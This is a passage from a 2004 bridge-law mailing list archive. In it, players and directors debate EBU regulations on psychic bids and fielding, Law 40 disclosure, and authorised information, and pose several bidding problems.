information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From nigel.guthrie@ntlworld.com Sun Mar 28 23:59:32 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Sun, 28 Mar 2004 23:59:32 +0100 Subject: [blml] Psyches References: <00a301c414aa$0ebf2420$91f8f1c3@LNV> Message-ID: <01f101c41518$55f16ba0$949468d5@tinyhrieuyik> [John MadDog Probst] There is a view held by some EBU TDs that the "rule of coincidence" is illegal. [Nigel] Some EBU players also believe the EBU regulations on psyches are illegal. However, David Stevenson is right about the majority feeling -- most EBU players approve of the official stance and now regard psyches as a kind of cheating. Contrary to David Stevenson's impression, however, IMO, the majority of EBU players feel that we are over-regulated in almost every other aspect. Few know the local regulations. Fewer understand them. Almost nobody abides by them. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.624 / Virus Database: 401 - Release Date: 15/03/2004 From wayne.burrows@xtra.co.nz Mon Mar 29 00:13:45 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Mon, 29 Mar 2004 11:13:45 +1200 Subject: [blml] Psyches In-Reply-To: <01f101c41518$55f16ba0$949468d5@tinyhrieuyik> Message-ID: <002001c4151a$53025010$99ce36d2@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of Nigel Guthrie > Sent: Monday, 29 March 2004 11:00 a.m. > To: blml@rtflb.org > Subject: Re: [blml] Psyches > [Nigel] > Some EBU players also believe the EBU regulations on psyches > are illegal. However, David Stevenson is right about the > majority feeling -- most EBU players approve of the official > stance and now regard psyches as a kind of cheating. I will make the obligatory comment that it is not legal to regulate psychic bids if those regulations attempt to over-ride the right to make a psychic bid given in Law 40. Wayne From wayne.burrows@xtra.co.nz Mon Mar 29 00:14:33 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Mon, 29 Mar 2004 11:14:33 +1200 Subject: [blml] Psyches In-Reply-To: <1QSio$Gm4CZAFwVp@blakjak.demon.co.uk> Message-ID: <002101c4151a$6edfcbf0$99ce36d2@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of David Stevenson > Sent: Saturday, 27 March 2004 1:21 a.m. > To: blml@rtflb.org > Subject: Re: [blml] Psyches > > > The Law says it is not illegal to give partner UI, but if > he uses UI > that's illegal, and we adjust. > > The Law says it is not illegal to psyche, but if he uses > knowledge of > your psyches that's illegal, and we adjust. > > It really does not sound much different to me. What you say is true the problem comes when there is an adjustment when there is no partnership agreement merely a presumed partnership agreement. Wayne From blml@blakjak.com Mon Mar 29 00:54:57 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 29 Mar 2004 00:54:57 +0100 Subject: [blml] Psyches In-Reply-To: <002101c4151a$6edfcbf0$99ce36d2@Desktop> References: <1QSio$Gm4CZAFwVp@blakjak.demon.co.uk> <002101c4151a$6edfcbf0$99ce36d2@Desktop> Message-ID: Wayne Burrows wrote > > >> -----Original Message----- >> From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On >> Behalf Of David Stevenson >> Sent: Saturday, 27 March 2004 1:21 a.m. >> To: blml@rtflb.org >> Subject: Re: [blml] Psyches >> >> >> The Law says it is not illegal to give partner UI, but if >> he uses UI >> that's illegal, and we adjust. >> >> The Law says it is not illegal to psyche, but if he uses >> knowledge of >> your psyches that's illegal, and we adjust. >> >> It really does not sound much different to me. > > >What you say is true the problem comes when there is an adjustment >when there is no partnership agreement merely a presumed partnership >agreement. I doubt that the annoyance is much different from a pair who are "sure" they did not hesitate but get ruled against. The problem seems to me that people are making psyching out to be a special application of the Laws. In fact it is just one more item that requires judgement for TDs and ACs and interpretation of the Laws. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Mon Mar 29 00:56:51 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 29 Mar 2004 00:56:51 +0100 Subject: [blml] Psyches In-Reply-To: <002001c4151a$53025010$99ce36d2@Desktop> References: <01f101c41518$55f16ba0$949468d5@tinyhrieuyik> <002001c4151a$53025010$99ce36d2@Desktop> Message-ID: <2yrCw1cDZ2ZAFw2t@blakjak.demon.co.uk> Wayne Burrows wrote > > >> -----Original Message----- >> From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On >> Behalf Of Nigel Guthrie >> Sent: Monday, 29 March 2004 11:00 a.m. >> To: blml@rtflb.org >> Subject: Re: [blml] Psyches > >> [Nigel] >> Some EBU players also believe the EBU regulations on psyches >> are illegal. However, David Stevenson is right about the >> majority feeling -- most EBU players approve of the official >> stance and now regard psyches as a kind of cheating. > >I will make the obligatory comment that it is not legal to regulate >psychic bids if those regulations attempt to over-ride the right to >make a psychic bid given in Law 40. You might like to consider that while I never read NG directly I have seen this because you quoted him. I do actively dislike his method of deliberately misquoting me. I did not say the above nor do I believe it. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From richard.hills@immi.gov.au Mon Mar 29 03:21:04 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 29 Mar 2004 12:21:04 +1000 Subject: [blml] destroy the village to save it Message-ID: Nigel Guthrie asked: [big snip] >Whatever system you play, why would a sane >player ever want to make a call with >absolutely no implicit agreed meaning? [big snip] Richard James Hills replies: There is no sanity clause. Part of the fun of bridge is perpetrating absolutely insane calls, confusing all three opponents, with the consequent result of scoring a fiery top. Almost as much fun is perpetrating insane calls for a frigid bottom. At least you score your bottom against Meckwell in style, rather than scoring the same bottom as a victim of a slow submarine squeeze in a sane and sensible spot. :-) Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Mon Mar 29 05:08:05 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 29 Mar 2004 14:08:05 +1000 Subject: [blml] Servant of the secret fire Message-ID: Konrad Ciborowski: >>I pass but I seriously consider bidding 1S. Gandalf the Grey: >I am a servant of the Secret Fire, wielder >of the flame of Anor. You cannot pass. Richard James Hills: No other responding blmler believed that choosing a systemic Pass was a logical alternative in the given circumstances of trailing by 53 imps with 16 boards to play. All other blmlers chose to try for a swing with a variety of psychic calls. However, Tony Musgrove correctly implied that swingy psychic calls will lose imps in the long run, even if a swingy psychic call is correct desperation tactics in the short run. At the table, Lew Stansby decided to go with the flow. Lew did not merely seriously consider bidding 1S, he actually did so. But Tony's scepticism towards psyches proved correct on the actual deal, since the Rosenberg-Zia partnership now avoided the losing action of playing in 6S (which fails on a 4-1 spade break). Instead, the Stansby psyche caused Rosenberg-Zia to divert into a cold 6NT contract. :-) But was Lew Stansby's swingy psyche really a true psyche, or was it a psuedo-psyche by implicit partnership understanding due to the state of the match? Avid readers of The Bridge World would know that Lew Stansby (unlike Jeff Rubens, who never psyches) has been willing to psyche in the past, when in his judgment he deems that dire circumstances make psyches appropriate. However, Rosenberg-Zia are regular opponents (and sometimes team-mates) of Lew Stansby, so they were also implicitly aware of the pseudo-psychic possibilities caused by the state of the match. But an implicit agreement to open the bidding with three jacks, despite being implicitly fully disclosed to the opponents, is still illegal in the ACBL. *If* Lew's psyche should be reclassified as an implicit partnership agreement pseudo-psyche, *then* Martel-Stansby methods were an illegal HUM system, contrary to an ACBL regulation made pursuant to Law 40D. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From H.W.Pieters@gasunie.nl Mon Mar 29 09:16:54 2004 From: H.W.Pieters@gasunie.nl (Pieters H.W.) Date: Mon, 29 Mar 2004 10:16:54 +0200 Subject: [blml] Servant of the secret fire Message-ID: I call 2C I'd consider 1C, 1H, 1S, 2NT, 3D -----Oorspronkelijk bericht----- Van: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org]Namens richard.hills@immi.gov.au Verzonden: zondag 28 maart 2004 03:47 Aan: blml@rtflb.org Onderwerp: [blml] Servant of the secret fire Spingold Final. Your side is trailing by 53 imps with only 16 boards to play. Dlr: N Vul: EW WEST NORTH EAST SOUTH --- Pass Pass ? You, South, hold: JT87 53 JT62 J98 What call do you make? What other calls do you consider making? Best wishes Richard James Hills -------------------------------------------------------------------------= ------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privilege= d and/or copyright information, the unauthorised use of which is prohibited= =2E Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to be the view of the Department of Immigration and Multicultural and Indigenou= s Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations under= the Privacy Act 1988 (see www.immi.gov.au). -------------------------------------------------------------------------= ------------- _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml _________________________________________________________________________= ___ This communication is intended only for use by the addressee. It may cont= ain=20 confidential or privileged information. If you receive this communication= =20 unintentionally, please let us know by reply immediately. Gasunie does no= t =20 guarantee that the information sent with this E-mail is correct and does = not=20 accept any liability for damages related thereto. = =20 _________________________________________________________________________= ___ From hermandw@hdw.be Mon Mar 29 12:01:11 2004 From: hermandw@hdw.be (Herman De Wael) Date: Mon, 29 Mar 2004 13:01:11 +0200 Subject: [blml] Servant of the secret fire In-Reply-To: References: Message-ID: <406801F7.9040900@hdw.be> richard.hills@immi.gov.au wrote: > > > > Spingold Final. > Your side is trailing by 53 imps with > only 16 boards to play. > > Dlr: N > Vul: EW > > WEST NORTH EAST SOUTH > --- Pass Pass ? > > You, South, hold: > > JT87 > 53 > JT62 > J98 > > What call do you make? 1 heart. But then that's just me. > What other calls do you consider making? > none. And even if my partner has hesitated, I believe I have enough evidence to show that at least for me there are no LAs. But then that's just me. Anyone else, I'll rule against. No, there's one other Belgian. One day we were sitting next to one another in a tournament and we made the very same psyche on the same board. > Best wishes > > Richard James Hills -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From nigel.guthrie@ntlworld.com Mon Mar 29 16:01:11 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Mon, 29 Mar 2004 16:01:11 +0100 Subject: [blml] Psyches References: <002001c4151a$53025010$99ce36d2@Desktop> Message-ID: <01d701c4159e$ad1a1400$c49868d5@tinyhrieuyik> [Wayne Burrows] I will make the obligatory comment that it is not legal to regulate psychic bids if those regulations attempt to over-ride the right to make a psychic bid given in Law 40. [Nigel] FWIW, I agree with the EBU position, assuming that I interpret it correctly :) IMO, even if partner is an inveterate psycher and you are 40 imps down, you must not take those considerations into account. Sometimes from your hand and the bidding, you infer that *somebody* lacks the requirements for his bid but you must not aassume that partner is the culprit. At equal vulnerability, for example, you must initially act as if it is twice as likely to be an opponent as partner. With no other evidence, if you appear to have adjusted your bidding to cater for a possible psyche by partner, the TD is justified in penalizing you for probable "fielding" --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.624 / Virus Database: 401 - Release Date: 15/03/2004 From johnson@CCRS.NRCan.gc.ca Mon Mar 29 16:10:02 2004 From: johnson@CCRS.NRCan.gc.ca (Ron Johnson) Date: Mon, 29 Mar 2004 10:10:02 -0500 (EST) Subject: [blml] Psyches In-Reply-To: <01d701c4159e$ad1a1400$c49868d5@tinyhrieuyik> from "Nigel Guthrie" at Mar 29, 2004 04:01:11 PM Message-ID: <200403291510.i2TFA2TE019493@athena.ccrs.nrcan.gc.ca> Nigel Guthrie writes: > > [Wayne Burrows] > I will make the obligatory comment that it is not legal > to regulate psychic bids if those regulations attempt > to over-ride the right to make a psychic bid given in > Law 40. > > [Nigel] > FWIW, I agree with the EBU position, assuming that I > interpret it correctly :) > > IMO, even if partner is an inveterate psycher and you are > 40 imps down, you must not take those considerations into > account. Sometimes from your hand and the bidding, you > infer that *somebody* lacks the requirements for his bid > but you must not aassume that partner is the culprit. At > equal vulnerability, for example, you must initially act > as if it is twice as likely to be an opponent as partner. > > With no other evidence, if you appear to have adjusted > your bidding to cater for a possible psyche by partner, the > TD is justified in penalizing you for probable "fielding" > > In making your ruling which law would you quote? From hermandw@hdw.be Mon Mar 29 17:38:35 2004 From: hermandw@hdw.be (Herman De Wael) Date: Mon, 29 Mar 2004 18:38:35 +0200 Subject: [blml] Psyches In-Reply-To: <01d701c4159e$ad1a1400$c49868d5@tinyhrieuyik> References: <002001c4151a$53025010$99ce36d2@Desktop> <01d701c4159e$ad1a1400$c49868d5@tinyhrieuyik> Message-ID: <4068510B.6090905@hdw.be> Sorry Nigel, but I believe you are wrong. Nigel Guthrie wrote: > [Wayne Burrows] > I will make the obligatory comment that it is not legal > to regulate psychic bids if those regulations attempt > to over-ride the right to make a psychic bid given in > Law 40. > > [Nigel] > FWIW, I agree with the EBU position, assuming that I > interpret it correctly :) > > IMO, even if partner is an inveterate psycher and you are > 40 imps down, you must not take those considerations into > account. Sometimes from your hand and the bidding, you > infer that *somebody* lacks the requirements for his bid > but you must not aassume that partner is the culprit. At > equal vulnerability, for example, you must initially act > as if it is twice as likely to be an opponent as partner. > Your partner's habits are AI to you, so in the case you describe above, you are allowed to infer that it is your partner who has psyched. > With no other evidence, if you appear to have adjusted > your bidding to cater for a possible psyche by partner, the > TD is justified in penalizing you for probable "fielding" > Only an English TD can be so justified, and only in the sense that you accept that the EBU has the right to issue regulations that go against the laws of bridge. Any other Director in the world is justified in assuming that the fielding is evidence of a PU; that Director should then investigate if this PU has been sufficiently disclosed to opponents or not, in which case he should rule CPU; that Director should then investigate if the opponents have been damaged through their not knowing of the psyching tendencies of the player; that Director should then give an AS according to L12C2 or possibly L12C3. Let's not forget that this is an international forum and that this discussion has centered mostly on EBU regulations. Other NBO's, possibly excluding Wales and Scotland have no regulations concerning fielding. > > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.624 / Virus Database: 401 - Release Date: 15/03/2004 > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From blml@blakjak.com Mon Mar 29 19:12:31 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 29 Mar 2004 19:12:31 +0100 Subject: [blml] Psyches In-Reply-To: <4068510B.6090905@hdw.be> References: <002001c4151a$53025010$99ce36d2@Desktop> <01d701c4159e$ad1a1400$c49868d5@tinyhrieuyik> <4068510B.6090905@hdw.be> Message-ID: <+HrQ9BIPcGaAFwMf@blakjak.demon.co.uk> Herman De Wael wrote >Sorry Nigel, but I believe you are wrong. > >Nigel Guthrie wrote: > >> [Wayne Burrows] >> I will make the obligatory comment that it is not legal to regulate >>psychic bids if those regulations attempt to over-ride the right to >>make a psychic bid given in Law 40. >> [Nigel] >> FWIW, I agree with the EBU position, assuming that I interpret it >>correctly :) >> IMO, even if partner is an inveterate psycher and you are >> 40 imps down, you must not take those considerations into account. >>Sometimes from your hand and the bidding, you >> infer that *somebody* lacks the requirements for his bid but you >>must not aassume that partner is the culprit. At equal >>vulnerability, for example, you must initially act >> as if it is twice as likely to be an opponent as partner. > >Your partner's habits are AI to you, so in the case you describe above, >you are allowed to infer that it is your partner who has psyched. > >> With no other evidence, if you appear to have adjusted your bidding >>to cater for a possible psyche by partner, the TD is justified in >>penalizing you for probable "fielding" >> > >Only an English TD can be so justified, and only in the sense that you >accept that the EBU has the right to issue regulations that go against >the laws of bridge. Of course this also means that the EBU has done such a thing, for which little evidence has been shown here in the posts I read. I do not think that language difficulties in the use of the word 'fielding' are enough. Of course you can have a minority usage if you like, but that hardly makes a reg wrong just because it uses the majority usage. >Any other Director in the world is justified in assuming that the >fielding is evidence of a PU; that Director should then investigate if >this PU has been sufficiently disclosed to opponents or not, in which >case he should rule CPU; that Director should then investigate if the >opponents have been damaged through their not knowing of the psyching >tendencies of the player; that Director should then give an AS >according to L12C2 or possibly L12C3. Rather more difficult than you believe, I think. Remember what the infraction is, then read L12C again. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From nigel.guthrie@ntlworld.com Mon Mar 29 21:40:41 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Mon, 29 Mar 2004 21:40:41 +0100 Subject: [blml] Psyches References: <200403291510.i2TFA2TE019493@athena.ccrs.nrcan.gc.ca> Message-ID: <003001c415ce$1afdbf60$4f9968d5@tinyhrieuyik> > [Ron Johnson] > In making your ruling which law would you quote? {Nigel] I'm a humble player, interested only in law-reform; I'm not a TD; I haven't read the minutes and commentaries on the the laws; nor do I want to do so. I don't even know any of the the law numbers. But here is my tuppence worth... 1. I believe there is a law to the effect that the only legitimate vehicles for communication at the Bridge table are the bids and plays athat you make during the current deal. Hence, you may not take into account information from the state of the match and knowledge of partner's idiosyncracies. 2. Also, obviously, if you know that partner has peculiar bidding habits, you may not make use of such knowledge unless such understandings are (1) Legal systemic agreements and (b) decalared in full to opponents. (For example in many coutries, not just Britain, you may not have an implicit agreement to open very weak hands). 3. Furthermore, in many jurisdictions, you may not agree to play an asymmetric system. Perhaps you could get round that if you had an implicit agreement to psyche, randomly, at the same frequency as partner :) 4. Finally, as Richard Hills is fond of pointing out, you are *not* accusing the "offending" partnership of fielding. (: Their ethics are beyond reproach :) You must rule adversely to maintain consistency and deter others who are not as scrupulous as them. In my view, this last is a cardinal principle of bridge law. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.624 / Virus Database: 401 - Release Date: 15/03/2004 From nigel.guthrie@ntlworld.com Mon Mar 29 22:05:37 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Mon, 29 Mar 2004 22:05:37 +0100 Subject: [blml] Psyches References: <002001c4151a$53025010$99ce36d2@Desktop> <01d701c4159e$ad1a1400$c49868d5@tinyhrieuyik> <4068510B.6090905@hdw.be> Message-ID: <003601c415d1$9631a2c0$4f9968d5@tinyhrieuyik> > [Herman De Wael] > Your partner's habits are AI to you, so in the case you > describe above, you are allowed to infer that it is your > partner who has psyched. {Nigel] Hi Herman! Are partner's habits really AI to you? Perhaps, in a regular four playing cut-out Rubber Bridge, I would tend to agree. But at duplicate, what law justifies such inferences? Is the information available purely from partner's bids or plays, in the current deal? How can opponents be equally aware of such information? Do you declare all these important implicit agreements to opponents? If so, how? [Herman] > Only an English TD can be so justified, and only in the > sense that you accept that the EBU has the right to issue > regulations that go against the laws of bridge. Any other > Director in the world is justified in assuming that the > fielding is evidence of a PU; that Director should then > investigate if this PU has been sufficiently disclosed to > opponents or not, in which case he should rule CPU; that > Director should then investigate if the opponents have been > damaged through their not knowing of the psyching tendencies > of the player; that Director should then give an > AS according to L12C2 or possibly L12C3. Let's not forget > that this is an international forum and that this discussion > has centered mostly on EBU regulations. Other NBO's, > possibly excluding Wales and Scotland have no regulations > concerning fielding. [Nigel] (1) I am *not* against psyching, in principle. I believe it is fun and intrinsic to the game. (2) Herman, I referred to cases, where there *was* evidence of fielding. *In those contexts to which I referred in my email*, if you anticipate partner's psyche then it is more likely to be an implicit agreement than what I understand as a psyche. (3) I specifically referred to EBU law (similar to WBU and SBU law). (4) Don't blame me if the rest of the world choose to behave unethically :) As I have said repeatedly, if it were up to me, I would simplify the laws and tighten up their wording. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.624 / Virus Database: 401 - Release Date: 15/03/2004 From richard.hills@immi.gov.au Mon Mar 29 22:21:42 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 30 Mar 2004 07:21:42 +1000 Subject: [blml] Insufficient kidding Message-ID: Imps Dlr: East Vul: EW The opponents play Acol. The bidding has gone: WEST NORTH EAST SOUTH --- --- 1C Pass 1NT 2S 2C ? You, South, hold: T52 AT87 654 975 What action do you take in the ACBL? What action do you take in the Rest of the World? Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From HarrisR@missouri.edu Mon Mar 29 22:47:53 2004 From: HarrisR@missouri.edu (Robert E. Harris) Date: Mon, 29 Mar 2004 15:47:53 -0600 Subject: [blml] Servant of the secret fire In-Reply-To: References: Message-ID: >Spingold Final. >Your side is trailing by 53 imps with >only 16 boards to play. > >Dlr: N >Vul: EW > >WEST NORTH EAST SOUTH >--- Pass Pass ? > >You, South, hold: > >JT87 >53 >JT62 >J98 > >What call do you make? >What other calls do you consider making? > >Best wishes > >Richard James Hills >-------------------- I rather like pass or 1C or 1S or 1D or 1H in order of decreasing preference. Now I'll reas the other answers. It should brighten my day. REH -- Robert E. Harris Phone: 573-882-3274. Fax: 573-882-2754 Department of Chemistry, University of Missouri-Columbia Columbia, Missouri, USA 65211 From nigel.guthrie@ntlworld.com Mon Mar 29 23:07:11 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Mon, 29 Mar 2004 23:07:11 +0100 Subject: [blml] Servant of the secret fire References: Message-ID: <00ec01c415da$30280740$4f9968d5@tinyhrieuyik> >> [Richard James Hills] >> Spingold Final. Your side is trailing by 53 imps with >> only 16 boards to play. Dlr: N Vul: EW >> WEST NORTH EAST SOUTH >> --- Pass Pass ? >> You, South, hold: JT87 53 JT62 J98 >> What call do you make? >> What other calls do you consider making? [Robert E Harris] > I rather like pass or 1C or 1S or 1D or 1H in order of decreasing preference. Now I'll reas the other answers. It should brighten my day. [Nigel] IMO P=10 1N=5 3D=4 and so on But I agree with Richard that a compulsory psyche may be construed as an illegal systemic agreement. More controversially, IMO, if partner automatically assumes that you rather than opponents have psyched (or made a mistake) then, IMO, he may be guilty of "fielding" --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.624 / Virus Database: 401 - Release Date: 15/03/2004 From HarrisR@missouri.edu Mon Mar 29 23:08:04 2004 From: HarrisR@missouri.edu (Robert E. Harris) Date: Mon, 29 Mar 2004 16:08:04 -0600 Subject: [blml] Insufficient kidding In-Reply-To: References: Message-ID: >Imps >Dlr: East >Vul: EW > >The opponents play Acol. >The bidding has gone: > >WEST NORTH EAST SOUTH >--- --- 1C Pass >1NT 2S 2C ? > >You, South, hold: > >T52 >AT87 >654 >975 > >What action do you take in the ACBL? >What action do you take in the Rest of the World? > >Best wishes > >Richard James Hills ACBL: Bid 2S. Rest of world, call TD. REH -- Robert E. Harris Phone: 573-882-3274. Fax: 573-882-2754 Department of Chemistry, University of Missouri-Columbia Columbia, Missouri, USA 65211 From richard.hills@immi.gov.au Mon Mar 29 23:13:45 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 30 Mar 2004 08:13:45 +1000 Subject: [blml] Servant of the secret fire Message-ID: Gordon Bower asks: [big snip] >>Supposing the implicit agreement really does >>exist -- where are all the EBU folk demanding >>that the score for 6NT be struck out and >>replaced with the KO team equivalent of 60/30 >>(-4.5?) After all - either they used an >>illegal system or they didn't... surely we >>aren't going to ADMIT the psyching policy is >>"only cancel it if they scored a top"? 2004 EBU White Book, clause 90.4.2, ADMITs: >If a contestant uses a convention that is not >permitted, or is adjudged to have fielded a >psyche, deviation or misbid then the deal >should be completed. If he attains a score of >A- or less then the score stands. Otherwise >he gets A- and his opponents get A+. > >In the case of a fielded psyche there is a >further penalty to the offending side of at >least the standard amount. Richard James Hills ponders: It is interesting that the EBU *does not* apply a PP to a CPU infracting Laws 40A and 40B, but the EBU *does* apply a PP to the fielding of such a CPU. In order for the EBU to be consistent, it seems to me that the EBU would have to deem that fielding of partner's earlier pseudo- psychic infraction of Laws 40A and 40B, is a consequent but additional infraction. (See the parallel "One lump or two?" thread.) However, does the EBU have to consistently design its regulations? After all, Ralph Waldo Emerson wrote -> "A foolish consistency is the hobgoblin of little minds." And, of course, since the EBU has created a what English authority Sir Humphrey Appleby would call a novel regulation which was a courageous decision, far be it from me to also accuse the EBU of having little minds. :-) Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From nigel.guthrie@ntlworld.com Tue Mar 30 00:03:40 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Tue, 30 Mar 2004 00:03:40 +0100 Subject: [blml] Servant of the secret fire References: Message-ID: <015b01c415e2$26671ae0$4f9968d5@tinyhrieuyik> [Richard James Hills] In order for the EBU to be consistent, it seems to me that the EBU would have to deem that fielding of partner's earlier pseudo-psychic infraction of Laws 40A and 40B, is a consequent but additional infraction. (See the parallel "One lump or two?" thread.) However, does the EBU have to consistently design its regulations? After all, Ralph Waldo Emerson wrote -> "A foolish consistency is the hobgoblin of little minds." And, of course, since the EBU has created a what English authority Sir Humphrey Appleby would call a novel regulation which was a courageous decision, far be it from me to also accuse the EBU of having little minds. [Nigel] Good grief! EBU advocate is an unlikely role for me :) IMO most EBU regulations (like regulations by any other non WBF jurisdictions) are spurious. However, Richard seems to misinterpret the EBU position on psyching. The EBU is doing its best to punish those who break the disclosure laws that Richard cites. It is hard to demonstrate that a pair psyche according to an undisclosed implicit agreement (although many regular psychers do seem to have their own preference as to type and context). Surely when you suspect that such a "psyche" has been fielded, it is likely to be a pernicious enough infraction of such laws as to deserve a severe sanction? --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.624 / Virus Database: 401 - Release Date: 15/03/2004 From ereppert@rochester.rr.com Tue Mar 30 00:45:26 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Mon, 29 Mar 2004 18:45:26 -0500 Subject: [blml] Psyches In-Reply-To: <003001c415ce$1afdbf60$4f9968d5@tinyhrieuyik> Message-ID: <270AA66C-81DB-11D8-9BB6-0030656F6826@rochester.rr.com> On Monday, Mar 29, 2004, at 15:40 US/Eastern, Nigel Guthrie wrote: > 1. I believe there is a law to the effect that the > only legitimate vehicles for communication at the Bridge > table are the bids and plays athat you make during the > current deal. Hence, you may not take into account > information from the state of the match and knowledge > of partner's idiosyncracies. Law 73A1: Communication between partners during the auction and play shall be effected only by means of the calls and plays themselves. Knowledge of partner's idiosyncracies, or of the state of the match, is not "communication between partners". From john@asimere.com Tue Mar 30 01:28:35 2004 From: john@asimere.com (John (MadDog) Probst) Date: Tue, 30 Mar 2004 01:28:35 +0100 Subject: [blml] Psyches In-Reply-To: <003001c415ce$1afdbf60$4f9968d5@tinyhrieuyik> References: <200403291510.i2TFA2TE019493@athena.ccrs.nrcan.gc.ca> <003001c415ce$1afdbf60$4f9968d5@tinyhrieuyik> Message-ID: In article <003001c415ce$1afdbf60$4f9968d5@tinyhrieuyik>, Nigel Guthrie writes >> [Ron Johnson] >> In making your ruling which law would you quote? > >{Nigel] >I'm a humble player, interested only in law-reform; I'm not >a TD; I haven't read the minutes and commentaries on the >the laws; nor do I want to do so. I don't even know any of >the the law numbers. But here is my tuppence worth... > >1. I believe there is a law to the effect that the >only legitimate vehicles for communication at the Bridge >table are the bids and plays athat you make during the >current deal. Hence, you may not take into account >information from the state of the match this statement is ludicrous. the state of the match is authorised information. >and knowledge >of partner's idiosyncracies. > >2. Also, obviously, if you know that partner has peculiar >bidding habits, you may not make use of such knowledge >unless such understandings are >(1) Legal systemic agreements and >(b) decalared in full to opponents. >(For example in many coutries, not just Britain, you may >not have an implicit agreement to open very weak hands). > >3. Furthermore, in many jurisdictions, you may not agree to >play an asymmetric system. Perhaps you could get round >that if you had an implicit agreement to psyche, randomly, >at the same frequency as partner :) > >4. Finally, as Richard Hills is fond of pointing out, you >are *not* accusing the "offending" partnership of fielding. >(: Their ethics are beyond reproach :) You must rule >adversely to maintain consistency 